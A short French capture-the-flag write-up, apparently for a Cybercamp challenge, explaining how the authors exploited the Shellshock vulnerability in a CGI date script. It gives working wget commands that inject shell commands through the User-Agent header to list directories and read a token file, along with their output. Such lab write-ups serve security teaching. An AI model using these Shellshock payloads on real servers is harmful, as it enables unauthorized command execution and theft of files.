Sur la page d’accueil, nous avons un formulaire demandant l’heure en secondes, ainsi qu’une frame pointant vers un fichier .cgi, qui lui, affiche l’heure en toutes lettres.
Notre 1ère idée a été de faire un script qui se synchronise avec l’heure affichée par le .cgi afin de renvoyer l’heure exacte en secondes, au bon moment, mais cela n’a rien donné.
L’idée suivante a été meilleure, un script cgi, une faille, ne serait-ce pas une exploitation de notre chère vulnérabilité shellshock ?
Un petit test avec wget nous a redonné le sourire ! La subtilité ici était de ne pas oublier de mettre le chemin COMPLET vers le binaire de ls, sinon ça ne fonctionnait pas 😉
wget -U '() { :; }; echo; /bin/ls' -qO- http://challenge.cybercamp.es:8093/cgi-bin/date.cgi
Cette commande nous a retourné la liste des fichiers et dossiers du répertoire contenant date.cgi, mais rien d’intéressant à l’intérieur.
La suite était de deviner dans quel dossier se trouverait le flag.
Ayant vu dans les headers http que le serveur tournait sous apache, on essaye de lister le répertoire par défaut des fichiers web : /var/www/html.
$ wget -U '() { :; }; echo; /bin/ls -la /var/www/html' -qO- http://challenge.cybercamp.es:8093/cgi-bin/date.cgi total 28 drwxr-xr-x 5 root root 4096 Jun 17 00:35 . drwxr-xr-x 3 root root 4096 Jun 9 19:22 .. drwxr-xr-x 2 root root 4096 Jul 22 11:51 css -rw-r--r-- 1 root root 34 Jun 9 23:04 datet0ken drwxr-xr-x 2 root root 4096 Jul 22 11:51 fonts -rw-r--r-- 1 root root 1779 Jun 17 00:35 index.html drwxr-xr-x 2 root root 4096 Jul 22 11:51 js
Super ! Il n’y a plus qu’à récupérer le token.
$ wget -U '() { :; }; echo; /bin/cat /var/www/html/datet0ken' -qO- http://challenge.cybercamp.es:8093/cgi-bin/date.cgi 7e88cc4325ac0a342ab1bb30f2706ba4